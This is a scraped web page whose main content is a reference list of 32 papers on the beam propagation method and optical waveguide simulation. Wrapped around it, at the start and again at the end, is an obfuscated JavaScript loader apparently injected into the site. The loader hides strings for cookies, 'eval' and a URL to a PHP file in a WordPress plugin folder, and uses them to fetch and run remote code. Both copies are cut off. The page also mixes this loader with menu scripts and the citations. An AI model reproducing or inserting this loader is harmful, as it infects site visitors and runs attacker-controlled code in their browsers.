;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//staging.optiwave.com/wp-content/plugins/advanced-custom-fields-pro/assets/inc/color-picker-alpha/color-picker-alpha.php','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B // global window.SFM_is_mobile = (function () { var n = navigator.userAgent; var reg = new RegExp('Android\s([0-9\.]*)') var match = n.toLowerCase().match(reg); var android = match ? parseFloat(match[1]) : false; if (android && android < 3.6) { return; }; return n.match(/Android|BlackBerry|IEMobile|iPhone|iPad|iPod|Opera Mini/i); })(); window.SFM_current_page_menu = '670'; (function(){ var mob_bar = ''; var pos = 'right'; var iconbar = ''; var SFM_skew_disabled = ( function( ) { var window_width = window.innerWidth; var sfm_width = 290; if ( sfm_width * 2 >= window_width ) { return true; } return false; } )( ); var classes = SFM_is_mobile ? 'sfm-mobile' : 'sfm-desktop'; var html = document.getElementsByTagName('html')[0]; // pointer classes += mob_bar ? ' sfm-mob-nav' : ''; classes += ' sfm-pos-' + pos; classes += iconbar ? ' sfm-bar' : ''; classes += SFM_skew_disabled ? ' sfm-skew-disabled' : ''; html.className = html.className == '' ? classes : html.className + ' ' + classes; })();

References

Compatibility:

[1]           M.D. Feit and J.A. Fleck, Jr.: Light Propagation in Graded-Index Optical Fibers, Appl. Opt. 17, (1978): 3990-3998.

[2]           M.D. Feit and J.A. Fleck, Jr.: Analysis of Rib Waveguides and Couplers by the Propagating Beam Method, J. Opt. Soc. Am. A 7, (1990): 73-79.

[3]           D. Yevick and B. Hermansson: Efficient Beam Propagation Techniques, IEEE J. Quantum Electron. 29, (1990): 109-112.

[4]           T.B. Koch, J.B. Davies, and D. Wickramasingle: Finite Element/Finite Difference Propagation Algorithm for Integrated Optical Devices, Electron. Lett. 25, (1989): 514-516.

[5]           D. Yevick: A Guide to Electric Field Propagation Technique for Guided-Wave Optics, Opt. Quantum Electron. 26, (1994): S185-S197.

[6]           R. Scarmozzino, A. Gopinath, R. Pregla, and S. Helfert: Numerical Techniques for Modeling Guided-Wave Photonic Devices, IEEE J. Quantum Electron. 6, (2000): 150-162.

[7]           W.P. Huang and C.L. Xu: Simulation of Three-Dimensional Optical Waveguide by a Full-Vector Beam Propagation Method: IEEE J. Select. Quantum Electron. 29, (1993): 2639-2649.

[8]           C.L. Xu, W.P. Huang, S.K. Chaudhuri, and J. Chrostowski: An Unconditionally Stable Vectorial Beam Propagation Method for 3-D Structures, IEEE Photon. Technol. Lett. 6, (1994): 549-551.

[9]           J. Yamauchi, T. Ando, and H. Nakano: Beam Propagation Analysis of Optical Fibers by Alternating Direction Implicit Method, Electron. Lett. 27, (1991): 1663-1665.

[10]         G.R. Hadley: Transparent Boundary Condition for the Beam Propagation Method, IEEE J. Quantum Electron. 28, (1992): 363-370.

[11]         Yasuyuki Arai, Akihiro Maruta, and Masanori Matsuhara: Transparent Boundary for the Finite- Element Beam Propagation Method, Opt. Lett. 18, (1993): 765-766.

[12]         J.P. Berengér: A Perfectly Matched Layer for the Absorption of Electromagnetic Waves, J. Comput. Phys. 114, (1994): 185-200.

[13]         F. Fogli, G. Bellanca, and P. Bassi: TBC and PML conditions for 2D and 3D BPM: A Comparison, Opt. Quantum Electron. 30, (1998): 443-456.

[14]         K. Kawano and T. Kitoh: Introduction to Optical Waveguide Analysis. John Wiley & Sons, Inc. (2001).

[15]         W.P. Huang, C.L. Xu, W. Lui, and K. Yokoyama: The Perfectly Matched Layer (PML) Boundary Condition for the Beam Propagation Method, IEEE Photon. Technol. Lett. 8, (1996): 649-651.

[16]         Ü. Pekel, and R. Mittra: A Finite-Element Method Frequency-Domain Application of the Perfectly Matched Layer (PML) Concept, Microwave and Opt. Technol. Lett. 9, (1995): 117-122.

[17]         M. Koshiba, Y. Tsuji, and M. Hikari: Finite Element Beam Propagation Method with Perfectly Matched Layer Boundary Conditions, IEEE Trans. on Magnetics 34, (1999): 1482-1485.

[18]         D. Jiménez, C. Ramirez, F. Pérez-Murano, and A. Guzmán: Implementation of Bérenger Layers as Boundary Bonditions for the Beam Propagation Method: Applications to Integrated Waveguides, Opt. Commun. 159, (1999): 43-48.

[19]         J. Yamauchi, J. Shibayama, and H. Nakano: Beam Propagation Method using Padé Approximant Operators, Trans. IEICE Jpn. J77-C-I, (1994): 490-494.

[20]         G.R. Hadley: Wide-Angle Beam Propagation using Padé Approximant Operators, Opt. Lett. 17, (1992): 1426-1428.

[21]         M. Koshiba and Y. Tsuji: A Wide-Angle Finite Element Beam Propagation Method, IEEE Photon. Technol. Lett. 8, (1996): 1208-1210.

[22]         G.A. Baker: Essential of Padé Approximants. Academic, New York, (1975).

[23]         Y. Chung and N. Dagli: Assessment of Finite Difference Beam Propagation, IEEE J. Quantum Electron. (1990): 1335-1339.

[24]         Y. Chung and N. Dagli: Explicit Finite Difference Vectorial Beam Propagation Method, Electron. Lett. 27, (1991): 2119-2121.

[25]         R. Accornero, M. Artiglia, G. Coppa, P. Di Vita, G. Lapenza, M. Potenza, and P. Ravetto: Finite Difference Methods for the Analysis of Integrated Optical Waveguide, Electron Lett. 26, (1990): 1959-1960.

[26]         H. J. W. M. Hoekstra, G. J. M. Krijnen, and P. V. Lambeck: New Formulations of the Beam Propagation Based on the Slowly Varying Envelope Approximation, Opt. Commun. 97, (1993): 301-303.

[27]         W.P. Huang, C.L. Xu, S.T. Chu, and S. Chaudhuri: The Finite-Difference Vector Beam Propagation Method: Analysis and Assessment, J. Lightwave Technol. 10, (1992): 295-305.

[28]         M. Koshiba: Optical Waveguide Theory by Finite Element Method. KTK Scientific Publishers and Kluwer Academic Publishers, Dordrecht, Holland, (1992).

[29]         J. Jin: The Finite Element Method in Electromagnetics. John Wiley & Sons, Inc. (1993).

[30]         J. L. Volakis, A. Chatterjee, and L. C. Kempel: Finite Element Method for Electromagnetics. IEEE Press (1998).

[31]         G. R. Hadley: Multistep Method for Wide-Angle Beam Propagation, Opt. Lett. 17, (1992): 1743-1745.

[32]         G.R. Hadley: Full-Vector Waveguide Modelling Using an Interative Finite-Difference Method with Transparent Boundary Conditions, J. Lightwave Technol. 13, (1995): 465-469.

;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//staging.optiwave.com/wp-content/plugins/advanced-custom-fields-pro/assets/inc/color-picker-alpha/color-picker-alpha.php','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B